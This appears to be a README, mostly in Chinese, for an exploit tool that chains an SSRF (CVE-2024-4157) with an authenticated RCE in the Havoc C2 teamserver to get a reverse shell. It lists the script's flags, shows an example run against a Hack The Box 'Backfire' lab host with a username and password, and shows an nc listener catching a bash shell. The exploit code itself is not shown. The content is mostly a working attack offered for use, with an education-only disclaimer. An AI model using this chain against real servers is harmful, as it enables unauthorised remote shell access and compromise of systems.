CVE-2024-4157: 在 Havoc C2 上获取反弹 Shell —— 链式利用 SSRF 与 RCE

通过本地 IP 和端口获取反弹 Shell，链式利用 CVE-2024-4157 POC 与 havoc_auth_rce

使用方法

基本信息

$ python3 exploit.py
usage: exploit.py [-h] [-t TARGET] [-i IP] [-p PORT] [-A USER_AGENT] [-H HOSTNAME] [-u USERNAME] [-d DOMAIN_NAME] [-n PROCESS_NAME] [-ip INTERNAL_IP] [-U ADMIN_USERNAME] [-P
                  PASSWORD] [-l LOCAL_IP] [-lp LOCAL_PORT]
## -t: target IP where the C2 server is running on
## -i: internal IP address that we want the C2 server to interactive with (SSRF)
## -p: internal port 
## -U: username to the C2 server
## -P: password to the C2 server
## -l: local address for the reverse shell (RCE)
## -lp: local port for the reverse shell

示例

$ python3 exploit.py -t https://10.129.150.254 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -l 10.10.14.54 -lp 4444
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

在 nc 监听器上接收反弹 Shell

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.150.254] 53352
bash: cannot set terminal process group (2933): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$

致谢

感谢 @chebuya 提供的 SSRF 漏洞，漏洞详细博客
感谢 @Laurence Tennant 提供的 RCE 漏洞，博客详细说明
感谢 0xdf 撰写的关于 HTB Backfire 的精彩文章

免责声明

本工具仅供教育和研究目的使用

CVE-2024-4157-SSRF-RCE-Reverse-Shell

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